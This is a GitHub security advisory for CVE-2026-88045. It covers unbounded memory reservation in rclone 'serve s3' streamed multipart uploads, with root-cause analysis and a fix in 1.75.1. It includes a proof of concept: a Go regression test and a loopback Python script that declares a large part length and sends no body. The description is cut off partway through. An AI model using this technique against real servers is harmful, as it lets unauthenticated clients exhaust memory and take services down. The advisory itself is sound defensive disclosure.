GitHub Advisoryadvisory · Go

GHSA-2p48-j3qc-rx9f rclone: S3 multipart declared-length memory exhaustion

HIGH Published 2026-09-10 Modified 2026-09-10 Official page ↗
Aliases
CVE-2026-88045
Ecosystem
Go
Packages
github.com/rclone/rclone
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-789
Reviewed
2026-09-10

Affected packages

• Go github.com/rclone/rclone: >= 1.75.0, < 1.75.1 → fixed in 1.75.1

Description

Summary In streamed multipart mode, `serve s3` passes the request's declared part length to `multipart.NewRW().Reserve(contentLength)` before reading any part data. `Reserve` immediately obtains enough 1 MiB pool pages for the entire declared length. The request handler therefore allocates attacker-selected memory based only on `Content-Length` or `X-Amz-Decoded-Content-Length`; the client does not need to transmit the corresponding body. `--multipart-streaming-buffer-limit` does not stop the allocation for the current expected part or for one oversized part when the buffer is empty. That exception is intentional to guarantee upload progress, and the flag's short help is scoped to out-of-order parts; this report therefore does not treat the option as a total memory cap. The security issue is the absence of a separate safe maximum or incremental allocation: a small request header can cause an arbitrarily large reservation and exhaust the process or host. The default S3 configuration allows anonymous access when no `auth_key` is set, so an unauthenticated network client can reach the path in such deployments. Authenticated deployments require a valid S3 credential. Confirmed affected targets are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`, both of which include streamed multipart support. Affected Assets & Attack Surface • `cmd/serve/s3/s3.go:40-46` defines the streaming buffer limit and describes it as a limit for out-of-order parts. • `cmd/serve/s3/server.go:67-101` permits anonymous requests when `AuthKey` is empty and configures S3 authentication otherwise. • `cmd/serve/s3/multipart.go:183-209` admits the declared part size and calls `Reserve(contentLength)` before `io.Copy` reads the body. • `cmd/serve/s3/multipart.go:220-238` always admits the current expected part and one oversized part when the buffer is empty, even when `size > bufferLimit`. • `lib/multipart/multipart.go:23-24` creates an RW backed by the global memory pool. • `lib/pool/reader_writer.go:64-76` rounds the declared length to pool pages and immediately calls `GetN`. • `lib/pool/pool.go:18-23` sets the global pool page size to 1 MiB. • `lib/pool/pool.go:223-260` allocates every requested page in `GetN`. • `github.com/rclone/[email protected]/gofakes3.go:952-1004` parses the request length without an upper bound, including the decoded-length header used for streaming signatures. • `github.com/rclone/[email protected]/gofakes3.go:1021-1023` passes the declared length and unread request body to rclone's streaming `UploadPart` implementation. • Network attack surface: S3 `CreateMultipartUpload` followed by `UploadPart` against a backend eligible for streamed multipart uploads. Technical Root Cause Analysis The admission counter and the allocator both use the attacker-controlled `contentLength`, while the admission rules allow the current part regardless of its size: ```go if up.bufferLimit <= 0 || partNumber <= up.nextPart || up.buffered == 0 || up.buffered+size <= up.bufferLimit { up.buffered += size return nil } ``` Part 1 of a new upload satisfies both `partNumber <= up.nextPart` and `up.buffered == 0`, regardless of size. `UploadPart` then executes: ```go rw := multipart.NewRW().Reserve(contentLength) ``` `Reserve` calculates the page count and calls `pool.GetN`. With the default global pool, `GetN` allocates a 1 MiB byte slice for every missing page. This occurs before `io.Copy` attempts to read the request body. The HTTP layer does not independently cap a multipart part length. GoFakeS3 accepts `Content-Length` as an `int64`; signed streaming requests can replace it with `X-Amz-Decoded-Content-Length`. An attacker can send the headers and keep the body idle, retaining the reservation. Multiple uploads or connections multiply the effect. The documented statement that memory is bounded by “parts in flight” is not an effective byte bound when one part can have an attacker-declared size and is fully preallocated. AWS's normal 5 GiB maximum part size would still be unsafe to reserve on most rclone hosts, and this dependency path does not enforce that maximum before allocation. Setting the global `--max-buffer-memory` may change the symptom from allocation to waiting on the global semaphore. It is not a complete fix: the acquisition uses `context.Background()`, and a request larger than the semaphore capacity cannot ever acquire its requested weight, leaving a handler blocked until process termination. Proof of Concept & Evidence Bounded regression test The following test proves both the limit bypass and immediate allocation without stressing the host. Add it as `cmd/serve/s3/security_regression_test.go`: ```go package s3 import ( "testing" "github.com/rclone/rclone/lib/multipart" "github.com/rclone/rclone/lib/pool" "github.com/stretchr/testify/require" ) func TestOversizedCurrentPartReservation(t *testing.T) { const ( limit = int64(1 << 20) // 1 MiB configured limit size = int64(16 << 20) // 16 MiB attacker declaration ) up := newMultipartUpload( "bucket", "object", "bucket/object", "bucket/object", nil, limit, ) require.NoError(t, up.waitForTurn(1, size)) require.Equal(t, size, up.buffered) before := pool.Global().InUse() rw := multipart.NewRW().Reserve(size) t.Cleanup(func() { require.NoError(t, rw.Close()) }) after := pool.Global().InUse() require.GreaterOrEqual(t, after-before, int(size/int64(pool.BufferSize)), ) } ``` Run: ```sh go test ./cmd/serve/s3 -run '^TestOversizedCurrentPartReservation$' -count=1 -v ``` Observed against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`: ```text === RUN TestOversizedCurrentPartReservation --- PASS: TestOversizedCurrentPartReservation (0.00s) PASS ``` The passing test means a 16 MiB current part is admitted against a 1 MiB limit and immediately consumes at least sixteen 1 MiB pool pages. Loopback HTTP validation Use a fresh process and a disposable root. The 64 MiB value below demonstrates the effect safely; do not substitute an out-of-memory value on a production host. ```sh mkdir -p /tmp/rclone-s3-root/bucket ./rclone serve s3 /tmp/rclone-s3-root \ --addr 127.0.0.1:8080 \ --multipart-streaming-buffer-limit 1Mi ``` In another terminal: ```sh python3 - <<'PY' import http.client import socket import time import xml.etree.ElementTree as ET from urllib.parse import quote host = "127.0.0.1" port = 8080 Anonymous mode is intentional here and matches a supported default setup. c = http.client.HTTPConnection(host, port, timeout=5) c.request("POST", "/bucket/object?uploads", body=b"", headers={"Content-Length": "0"}) r = c.getresponse() body = r.read() assert r.status == 200, (r.status, body) upload_id = ET.fromstring(body).findtext("{*}UploadId") assert upload_id c.close() declared = 64 * 1024 * 1024 path = "/bucket/object?partNumber=1&uploadId=" + quote(upload_id, safe="") s = socket.create_connection((host, port), timeout=5) s.sendall(( f"PUT {path} HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" f"Content-Length: {declared}\r\n" "Connection: close\r\n" "\r\n" ).encode("ascii")) No body bytes are sent. Inspect the fresh rclone process while this waits: the handler has reserved 64 pool pages despite the 1 MiB reorder limit. time.sleep(5) s.close() PY ``` Closing the socket allows the handler to return `IncompleteBody` and release the pages. Keeping multiple sockets open retains multiple reservations. A sufficiently large declared length can terminate the process before a response is returned. The final automated validation performed this sequence through the real HTTP listener rather than calling `waitForTurn` or `Reserve` directly: • Started an anonymous `serve s3` server on loopback with a local streaming-capable backend. • Set `MultipartStreamingBufferLimit` to 1 MiB. • Created a multipart upload with an HTTP `POST` and parsed its ret…

Related

Alias · CVE (1)

  • CVE-2026-88045 rclone is a command-line program to sync files and directories to and from different cloud storage providers. vulnerability

Weakness · CWE (1)

  • CWE-789 Memory Allocation with Excessive Size Value weakness

References